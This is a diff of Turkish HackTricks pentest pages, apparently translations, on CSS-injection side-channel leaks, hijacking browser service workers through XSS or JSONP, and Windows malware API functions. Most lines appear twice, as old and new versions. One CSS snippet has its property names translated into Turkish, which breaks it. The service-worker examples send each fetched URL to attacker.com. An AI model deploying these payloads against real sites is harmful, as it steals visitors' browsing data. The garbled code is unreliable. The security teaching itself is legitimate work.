Bu geçiş sırasında, her yeni karakterin öne katılmasıyla **unicode-range hilesi** kullanılır. Bu, varsayılan fontu Comic Sans'a değiştirerek gerçekleştirilir, bu da varsayılan fonttan önemli ölçüde daha uzun olan Comic Sans'ın dikey bir kaydırıcı tetiklemesine neden olur. Bu kaydırıcının görünümü, dolaylı olarak önek kısmında yeni bir karakterin varlığını ortaya çıkarır.
Bu yöntem, karakterlerin ortaya çıktığı gibi benzersiz karakterlerin tespitine olanak sağlar, ancak tekrarlanan hangi karakterin olduğunu belirtmez, yalnızca bir tekrarın gerçekleştiğini gösterir.
Bu yöntem, karakterlerin göründükçe benzersiz karakterlerin tespitine izin verir, ancak tekrarlanan hangi karakterin olduğunu belirtmez, yalnızca bir tekrarın gerçekleştiğini gösterir.
{% hint style="info" %}
Temel olarak, **unicode-range bir karakteri tespit etmek için kullanılır**, ancak harici bir yazı tipi yüklemek istemediğimiz için başka bir yol bulmamız gerekiyor.\
**Karakter** bulunduğunda, **önceden yüklenmiş Comic Sans yazı tipi** verilir, bu da karakteri **büyütür** ve **bir kaydırma çubuğu tetikler**, bu da bulunan karakteri **sızdırır**.
Temelde, **unicode-range bir karakteri tespit etmek için kullanılır**, ancak harici bir font yüklemek istemediğimizden başka bir yol bulmamız gerekiyor.\
**Karakter** bulunduğunda, önceden yüklenmiş **Comic Sans fontu** verilir, bu da karakteri **büyütür** ve bir **kaydırıcı tetikler**, bu da **bulunan karakteri sızdırır**.
{% endhint %}
PoC'dan çıkarılan kodu kontrol edin:
@ -390,31 +388,31 @@ text-transform: uppercase; /* only capital letters leak */
4% { width: 80px }
4% { width: 100px }
```css
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
5% { genişlik: 120px }
6% { genişlik: 140px }
7% { genişlik: 0px }
}
div::-webkit-scrollbar {
background: blue;
arka plan: mavi;
}
/* yan kanal */
div::-webkit-scrollbar:vertical {
background: blue var(--sızıntı);
div::-webkit-scrollbar:dikey {
arka plan: mavi var(--sızıntı);
}
```
### Metin düğümü sızdırma (III): varsayılan bir yazı tipiyle öğeleri gizleyerek karakter kümesini sızdırma (harici varlıklar gerektirmez) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Metin düğümü sızdırma (III): varsayılan bir yazı tipi ile karakter kümesini sızdırma, öğeleri gizleyerek (harici varlıklara ihtiyaç duymaz) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Referans:** Bu, [bu yazıda başarısız bir çözüm olarak belirtilmiştir](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Bu durum, öncekine çok benzer, ancak burada belirli karakterlerin diğerlerinden daha büyük olmasının amacı, bir düğmeye bot tarafından basılmaması veya yüklenmeyen bir resim gibi bir şeyi gizlemektir. Bu nedenle, eylemi (veya eylemin eksikliğini) ölçebilir ve metin içinde belirli bir karakterin var olup olmadığını bilebiliriz.
Bu durum, öncekine çok benzer, ancak bu durumda belirli **karakterleri diğerlerinden daha büyük yapmanın amacı, bir düğmeye basılmaması gereken bir bot veya yüklenmeyen bir resim gibi bir şeyi gizlemektir**. Bu nedenle, eylemi (veya eylemin olmamasını) ölçebilir ve belirli bir karakterin metin içinde var olup olmadığını bilebiliriz.
### Metin düğümü sızdırma (III): önbellek zamanlamasıyla karakter kümesini sızdırma (harici varlıklar gerektirmez) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Metin düğümü sızdırma (III): önbellek zamanlaması ile karakter kümesini sızdırma (harici varlıklara ihtiyaç duymaz) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Referans:** Bu, [bu yazıda başarısız bir çözüm olarak belirtilmiştir](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Bu durumda, aynı kaynaktan sahte bir yazı tipi yükleyerek metinde bir karakterin olup olmadığını sızdırmayı deneyebiliriz.
Bu durumda, metinde bir karakterin olup olmadığını sızdırmayı deneyebiliriz, aynı kökten sahte bir yazı tipi yükleyerek:
```css
@font-face {
font-family: "A1";
@ -422,15 +420,15 @@ src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
```
Eşleşme varsa, **font `/static/bootstrap.min.css?q=1`** yüklenir. Başarılı bir şekilde yüklenmese de, **tarayıcı bunu önbelleğe almalıdır**, ve eğer bir önbellek yoksa, **304 not modified** mekanizması vardır, bu yüzden yanıt diğer şeylere göre daha hızlı olmalıdır.
Eşleşme varsa, **font `/static/bootstrap.min.css?q=1` adresinden yüklenecektir**. Başarılı bir şekilde yüklenmese de, **tarayıcı bunu önbelleğe almalıdır**, ve önbellek olmasa bile, **304 not modified** mekanizması bulunmaktadır, böylece **yanıt diğer şeylerden daha hızlı olmalıdır**.
Ancak, önbelleğe alınmış yanıt ile önbelleğe alınmamış yanıt arasındaki zaman farkı yeterince büyük değilse, bu işe yaramaz. Örneğin, yazar şunu belirtti: Ancak, testlerden sonra, ilk sorunun hızın çok farklı olmaması olduğunu ve ikinci sorunun botun `disk-cache-size=1` bayrağını kullandığını, bu gerçekten düşünceli olduğunu buldum.
Ancak, önbelleğe alınan yanıt ile alınmayan yanıt arasındaki zaman farkı yeterince büyük değilse, bu faydalı olmayacaktır. Örneğin, yazar şunu belirtti: Ancak test ettikten sonra, ilk sorunun hızın çok farklı olmadığı ve ikinci sorunun botun gerçekten düşünceli olan `disk-cache-size=1` bayrağını kullandığıdır.
### Metin düğümü sızdırma (III): yüzlerce yerel "font"ın (harici varlıklar gerektirmeyen) zamanlama yüklemesiyle karakter kümesini sızdırmak <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Metin düğümü sızdırma (III): yüzlerce yerel "font" yükleyerek karakter kümesini zamanlayarak sızdırma (harici varlıklara ihtiyaç duymaz) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Referans:** Bu, [bu yazıda başarısız bir çözüm olarak belirtilmiştir](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Bu durumda, bir eşleşme gerçekleştiğinde, aynı kaynaktan **yüzlerce sahte fontun CSS tarafından yüklenmesini** belirtebilirsiniz. Bu şekilde, bir karakterin görünüp görünmediğini **ölçebilirsiniz** ve bunu şu şekilde bulabilirsiniz:
Bu durumda, eşleşme olduğunda **aynı kökten yüzlerce sahte font yüklemesi yapacak CSS** belirtebilirsiniz. Bu şekilde **ne kadar zaman aldığını ölçebilirsiniz** ve bir karakterin görünüp görünmediğini şöyle belirleyebilirsiniz:
```css
@font-face {
font-family: "A1";
@ -441,13 +439,13 @@ url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
```
Ve botun kodu şu şekildedir:
Ve botun kodu şöyle görünüyor:
```python
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
```
Eğer yazı tipi eşleşmiyorsa, botu ziyaret ettiğinizde yanıt süresinin yaklaşık olarak 30 saniye olması beklenir. Ancak, yazı tipi eşleşmesi varsa, yazı tipini almak için birden fazla istek gönderilir ve ağ sürekli olarak aktif olur. Sonuç olarak, durdurma koşulunu karşılamak ve yanıtı almak daha uzun sürebilir. Bu nedenle, yanıt süresi, yazı tipi eşleşmesinin olup olmadığını belirlemek için bir gösterge olarak kullanılabilir.
Yani, yazı tipi eşleşmiyorsa, botu ziyaret ettiğinizde yanıt süresinin yaklaşık 30 saniye olması beklenir. Ancak, yazı tipi eşleşmesi varsa, yazı tipini almak için birden fazla istek gönderilir ve ağın sürekli etkinliği olur. Sonuç olarak, durdurma koşulunu karşılamak ve yanıtı almak daha uzun sürebilir. Bu nedenle, yanıt süresi, yazı tipi eşleşip eşleşmediğini belirlemek için bir gösterge olarak kullanılabilir.
## Referanslar
@ -456,16 +454,22 @@ Eğer yazı tipi eşleşmiyorsa, botu ziyaret ettiğinizde yanıt süresinin yak
* [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
* [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin</strong>!</summary>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) olan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
* Özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) takip edin.
* Hacking püf noktalarınızı paylaşarak [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek katkıda bulunun.
</details>

View file

@ -1,47 +1,55 @@
# Hizmet İşçilerini Kötüye Kullanma
# Servis İşçilerini Kötüye Kullanma
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmaya kadar AWS hackleme öğrenin!</summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? ya da PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz? [ABONELİK PLANLARI](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'nı edinin
* [**💬**](https://emojipedia.org/speech-balloon/) **Discord grubuna** katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)'u takip edin.
* **Hacking püf noktalarınızı göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **üzerinden PR gönderin.**
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek ister misiniz**? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking püf noktalarınızı göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **üzerinden PR gönderin**.
</details>
**Try Hard Güvenlik Grubu**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Temel Bilgiler
Bir **hizmet işçisi**, tarayıcınız tarafından arka planda çalıştırılan, herhangi bir web sayfasından bağımsız olarak çalışan, web sayfası veya kullanıcı etkileşimi gerektirmeyen özellikleri etkinleştiren ve dolayısıyla **çevrimdışı ve arka plan işleme** yeteneklerini artıran bir betiktir. Hizmet işçileri hakkında detaylı bilgiye [buradan](https://developers.google.com/web/fundamentals/primers/service-workers) ulaşılabilir. Savunmasız bir web alanı içinde hizmet işçilerini istismar ederek, saldırganlar, o alan içindeki tüm sayfalarla kurbanın etkileşimini ele geçirebilirler.
**Servis işçisi**, tarayıcınız tarafından arka planda çalıştırılan, herhangi bir web sayfasından bağımsız olarak çalışan, web sayfası veya kullanıcı etkileşimi gerektirmeyen özellikleri etkinleştiren ve böylece **çevrimdışı ve arka plan işleme** yeteneklerini artıran bir betiktir. Servis işçileri hakkında detaylı bilgiye [buradan](https://developers.google.com/web/fundamentals/primers/service-workers) ulaşılabilir. Savunmasız bir web alanı içinde servis işçilerini istismar ederek, saldırganlar, o alan içindeki tüm sayfalarla kurbanın etkileşimini kontrol altına alabilirler.
### Varolan Hizmet İşçilerini Kontrol Etme
### Varolan Servis İşçilerini Kontrol Etme
Varolan hizmet işçileri, **Geliştirici Araçları**'ndaki **Uygulama** sekmesindeki **Hizmet İşçileri** bölümünde kontrol edilebilir. Başka bir yöntem ise daha detaylı bir görünüm için [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) adresini ziyaret etmektir.
Varolan servis işçileri, **Geliştirici Araçları**'ndaki **Uygulama** sekmesindeki **Servis İşçileri** bölümünde kontrol edilebilir. Başka bir yöntem ise daha detaylı bir görünüm için [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) adresini ziyaret etmektir.
### İtme Bildirimleri
**İtme bildirimi izinleri**, bir **hizmet işçisinin** doğrudan kullanıcı etkileşimi olmadan sunucu ile iletişim kurma yeteneğini etkiler. İzinler reddedildiğinde, sürekli bir tehdit oluşturma potansiyelini sınırlar. Tersine, izinler verildiğinde, güvenlik risklerini artırarak potansiyel saldırıların alınmasına ve yürütülmesine olanak tanır.
**İtme bildirimi izinleri**, bir **servis işçisinin** doğrudan kullanıcı etkileşimi olmadan sunucu ile iletişim kurma yeteneğini etkiler. İzinler reddedildiğinde, servis işçisinin sürekli bir tehdit oluşturma potansiyelini sınırlar. Tersine, izinler verildiğinde, güvenlik risklerini artırarak potansiyel saldırıların alınmasına ve yürütülmesine olanak tanır.
## Saldırı Bir Hizmet İşçisi Oluşturma
## Servis İşçisi Oluşturarak Saldırı
Bu zafiyeti sömürmek için şunları bulmanız gerekmektedir:
* Sunucuya **keyfi JS** dosyaları yüklemek için bir yol ve yüklenen JS dosyasının hizmet işçisini yüklemek için bir **XSS** bulun
* **Manipüle edebileceğiniz (keyfi JS kodu ile)** savunmasız bir JSONP isteği ve bir **XSS** ile bu isteği **yükleyebileceğiniz bir JSONP**'ye sahip olun ve kötü niyetli bir hizmet işçisi yükleyecek bir yük oluşturun.
* Sunucuya **keyfi JS** dosyaları yüklemek için bir yol ve yüklenen JS dosyasının servis işçisini yüklemek için bir **XSS** bulun
* **Manipüle edebileceğiniz (keyfi JS kodu ile)** savunmasız bir **JSONP isteği** ve bir **XSS** ile **JSONP'yi yükleyecek bir yük** içeren bir saldırıyı gerçekleştirebileceğiniz bir **vulnerability** ve **zararlı bir servis işçisi yükleyebileceğiniz bir yük**.
Aşağıdaki örnekte, `fetch` etkinliğini dinleyecek ve her alınan URL'yi saldırganın sunucusuna gönderecek yeni bir hizmet işçisi **kaydetmek** için gereken kodu sunacağım:
Aşağıdaki örnekte, `fetch` etkinliğini dinleyecek ve her alınan URL'yi saldırganın sunucusuna gönderecek yeni bir servis işçisi **kaydetmek için** gerekli olan kodu sunacağım:
```javascript
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});
```
Ve aşağıdaki kod, işçiyi kaydedecek olan kodu (XSS'yi kötüye kullanarak yürütebileceğiniz kod) gösterecektir. Bu durumda, saldırganın sunucusuna bir GET isteği gönderilecek ve hizmet işçisinin kaydının başarılı olup olmadığı bildirilecektir:
Ve aşağıdaki kod, işçiyi kaydedecek olan kodu içerir (XSS'yi kötüye kullanarak yürütebileceğiniz kod). Bu durumda, saldırganın sunucusuna bir GET isteği gönderilecek ve hizmet işçisinin kaydının başarılı olup olmadığı bildirilecektir:
```javascript
<script>
window.addEventListener('load', function() {
@ -63,17 +71,17 @@ Vulnerable JSONP ucuza kullanıldığında değeri `var sw` içine koymalısın
```javascript
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
```
**Hizmet İşçilerini** istismar etmek için **C2** adlı [**Shadow Workers**](https://shadow-workers.github.io) adlı bir **hizmet işçilerine özgü** bir araç vardır ki bu zayıflıkları istismar etmek için oldukça faydalı olacaktır.
**Hizmet İşçilerinin** istismarına adanmış bir **C2** olan [**Shadow Workers**](https://shadow-workers.github.io) bu zafiyetleri istismar etmek için çok faydalı olacaktır.
**24 saatlik önbellek yönergesi**, bir XSS zayıflığı düzeltmesinden sonra kötü amaçlı veya tehlikeli bir **hizmet işçisinin (SW)** ömrünü en fazla 24 saatle sınırlar, çevrimiçi istemci durumunu varsayarsak. Zayıflığı en aza indirmek için site işletmecileri SW betiğinin Zaman-Canlılığını (TTL) düşürebilir. Geliştiricilere ayrıca hızlı devre dışı bırakma için bir [**hizmet işçisi kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) oluşturmaları önerilir.
**24 saatlik önbellek yönergesi**, bir XSS zafiyeti düzeltmesinden sonra en fazla 24 saat boyunca kötü amaçlı veya tehlikeli bir **hizmet işçisinin (SW)** yaşamını sınırlar, çevrimiçi istemci durumunu varsayarsak. Zafiyeti en aza indirmek için site işletmecileri SW betiğinin Zaman-Canlılığını (TTL) düşürebilir. Geliştiricilere ayrıca hızlı devre dışı bırakma için bir [**hizmet işçisi kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) oluşturmaları önerilir.
## DOM Clobbering aracılığıyla SW'de `importScripts`'in Kötüye Kullanımı
## DOM Clobbering Aracılığıyla SW'de `importScripts`'in Kötüye Kullanımı
Bir Hizmet İşçisinden çağrılan **`importScripts`** işlevi, **farklı bir etki alanından bir betiği içe aktarabilir**. Bu işlev, bir saldırganın **değiştirebileceği bir parametre** kullanılarak çağrıldığında, saldırganın **kendi etki alanındaki bir JS betiğini içe aktarmasına** ve XSS almasına olanak tanır.
Bir Hizmet İşçisinden çağrılan **`importScripts`** işlevi, **farklı bir alan adından bir betiği içe aktarabilir**. Bu işlev, bir saldırganın değiştirebileceği bir **parametre kullanılarak** çağrıldığında, XSS alabilir ve **kendi alan adından bir JS betiğini içe aktarabilir**.
**Bu, CSP korumalarını bile atlar.**
**Örnek zayıf kod:**
**Örnek zafiyetli kod:**
* **index.html**
```html
@ -97,7 +105,7 @@ DOM Clobbering'in ne olduğu hakkında daha fazla bilgi için şu bağlantıya b
[dom-clobbering.md](dom-clobbering.md)
{% endcontent-ref %}
Eğer SW'nin **`importScripts`** çağrısını yapmak için kullandığı URL/domain, **bir HTML öğesinin içindeyse**, bu URL'yi **DOM Clobbering aracılığıyla değiştirmek mümkündür** ve SW'nin **kendi alanınızdan bir betik yüklemesini sağlamak mümkündür**.
Eğer SW'nin **`importScripts`** çağrısını yapmak için kullandığı URL/domain, **bir HTML öğesinin içindeyse**, SW'nin **kendi alan adınızdan bir betiği yüklemesi için DOM Clobbering ile değiştirilebilir**.
Bunun bir örneği için referans bağlantısına bakın.
@ -105,14 +113,20 @@ Bunun bir örneği için referans bağlantısına bakın.
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin**.
* **Hacking püf noktalarınızı paylaşın, PR'lar göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **takip edin**.
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin**.
* **Hacking püf noktalarınızı paylaşın, PR'lar göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile.**
</details>

View file

@ -2,18 +2,26 @@
<details>
<summary><strong>Sıfırdan Kahramana AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* Şirketinizi **HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* Özel [**NFT'lerimizden oluşan The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
</details>
**Try Hard Güvenlik Grubu**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Genel
### Ağ
@ -32,12 +40,12 @@ HackTricks'ı desteklemenin diğer yolları:
### Kalıcılık
| Kayıt Defteri | Dosya | Servis |
| ---------------- | ------------- | ---------------------------- |
| RegCreateKeyEx() | GetTempPath() | OpenSCManager |
| RegOpenKeyEx() | CopyFile() | CreateService() |
| RegSetValueEx() | CreateFile() | StartServiceCtrlDispatcher() |
| RegDeleteKeyEx() | WriteFile() | |
| RegGetValue() | ReadFile() | |
| ---------------- | ------------- | --------------------------- |
| RegCreateKeyEx() | GetTempPath() | OpenSCManager |
| RegOpenKeyEx() | CopyFile() | CreateService() |
| RegSetValueEx() | CreateFile() | StartServiceCtrlDispatcher()|
| RegDeleteKeyEx() | WriteFile() | |
| RegGetValue() | ReadFile() | |
### Şifreleme
@ -54,12 +62,12 @@ HackTricks'ı desteklemenin diğer yolları:
| Fonksiyon Adı | Derleme Talimatları |
| --------------------------------------------------------- | ------------------- |
| IsDebuggerPresent() | CPUID() |
| GetSystemInfo() | IN() |
| GlobalMemoryStatusEx() | |
| GetVersion() | |
| IsDebuggerPresent() | CPUID() |
| GetSystemInfo() | IN() |
| GlobalMemoryStatusEx() | |
| GetVersion() | |
| CreateToolhelp32Snapshot \[Bir işlemin çalışıp çalışmadığını kontrol et] | |
| CreateFileW/A \[Bir dosyanın var olup olmadığını kontrol et] | |
| CreateFileW/A \[Bir dosyanın var olup olmadığını kontrol et] | |
### Gizlilik
@ -67,10 +75,10 @@ HackTricks'ı desteklemenin diğer yolları:
| ----------------------- | -------------------------------------------------------------------------- |
| VirtualAlloc | Bellek tahsisi (sıkıştırıcılar) |
| VirtualProtect | Bellek izni değiştirme (bir bölüme yürütme izni veren sıkıştırıcı) |
| ReadProcessMemory | Harici işlemlere enjeksiyon |
| WriteProcessMemoryA/W | Harici işlemlere enjeksiyon |
| ReadProcessMemory | Harici işlemlere enjeksiyon |
| WriteProcessMemoryA/W | Harici işlemlere enjeksiyon |
| NtWriteVirtualMemory | |
| CreateRemoteThread | DLL/İşlem enjeksiyonu... |
| CreateRemoteThread | DLL/İşlem enjeksiyonu... |
| NtUnmapViewOfSection | |
| QueueUserAPC | |
| CreateProcessInternalA/W| |
@ -90,8 +98,8 @@ HackTricks'ı desteklemenin diğer yolları:
* GetAsyncKeyState() -- Tuş kaydı
* SetWindowsHookEx -- Tuş kaydı
* GetForeGroundWindow -- Çalışan pencere adını al (veya bir tarayıcıdan web sitesini)
* LoadLibrary() -- Kütüphane içe aktarımı
* GetProcAddress() -- Kütüphane içe aktarımı
* LoadLibrary() -- Kütüphane içe aktar
* GetProcAddress() -- Kütüphane içe aktar
* CreateToolhelp32Snapshot() -- Çalışan işlemleri listele
* GetDC() -- Ekran görüntüsü
* BitBlt() -- Ekran görüntüsü
@ -113,12 +121,12 @@ Kullanılacak diğer fonksiyonlar: NTCreateThreadEx, RtlCreateUserThread
### Yansımalı DLL Enjeksiyonu
Normal Windows API çağrıları yapmadan kötü niyetli bir DLL yükle.\
Normal Windows API çağrılarını yapmadan kötü niyetli bir DLL yükle.\
DLL, bir işlem içine eşlenir, içe aktarma adreslerini çözer, yer değiştirmeleri düzeltir ve DllMain işlevini çağırır.
### İş Parçacığı Kaçırma
Bir işlemde bir iş parçacığını bul ve onu kötü niyetli bir DLL yüklemeye zorla
Bir işlemde bir iş parçacığını bul ve kötü niyetli bir DLL yüklemesini sağla
1. Hedef iş parçacığını bul: CreateToolhelp32Snapshot, Thread32First, Thread32Next
2. İş parçacığını aç: OpenThread
